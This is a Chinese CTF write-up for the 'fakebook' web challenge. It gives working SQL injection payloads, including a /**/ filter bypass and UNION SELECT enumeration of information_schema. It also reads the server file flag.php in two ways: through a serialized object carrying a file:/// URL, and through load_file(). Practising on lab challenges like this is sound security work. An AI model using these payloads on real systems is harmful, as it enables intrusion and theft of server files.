攻防世界——fakebook

攻防世界——fakebook_第1张图片

  /user.php.bak发现一个PHP文本,是说创建user然后从url里get信息,同时blog有一个正则匹配,需要有https://

name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)    //函数
    {
        $ch = curl_init();    // 创建一个新cURL资源

        curl_setopt($ch, CURLOPT_URL, $url);       // 设置URL和相应的选项
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

      // 抓取URL并把它传递给浏览器
        $output = curl_exec($ch);  
  
      // curl_getinfo  获取一个cURL连接资源句柄的信息,$ch由 curl_init() 返回的 cURL 句柄。 CURLINFO_HTTP_CODE  最后一个收到的HTTP代码 
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);    // 关闭cURL资源,并且释放系统资源

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
//在blog中要匹配到https://

}

攻防世界——fakebook_第2张图片注册成功

攻防世界——fakebook_第3张图片

 点击username里的1

攻防世界——fakebook_第4张图片

url中有no=1,可以尝试一下,是否有注入(and 1=1不报错,and 1=2报错,所以存在sql注入)

攻防世界——fakebook_第5张图片

 order by 4不报错,order by 5报错,所以有四个字段

攻防世界——fakebook_第6张图片

尝试查询数据库名,然后被拦截

 尝试绕过,/**/可以绕过,发现2是回显点

攻防世界——fakebook_第7张图片

 得到当前数据库为fakebook

攻防世界——fakebook_第8张图片

 -1 /**/union /**/ select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema="fakebook"#

获得了一个users表

-1 /**/union /**/ select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#

获取字段名

攻防世界——fakebook_第9张图片

 攻防世界——fakebook_第10张图片

查看data,发现注册信息被序列化,网上的wp,他们扫描目录,有一个flag.php在/var/www/html里面,构造反序列化语句

第一种方式:

采用构造file协议去读取/var/www/html/flag.php的内容(file协议主要用于访问计算机本地文件,基本格式为:file:///文件路径

-1 /**/union /**/ select 1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

然后查看源码,将其解码

 

第二种方式:

 在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
-1 /**/union /**/ select 1,load_file('/var/www/html/flag.php') ,3,4#

查看源码,flag在源码中

 攻防世界——fakebook_第11张图片

你可能感兴趣的:(攻防世界,servlet,java,开发语言)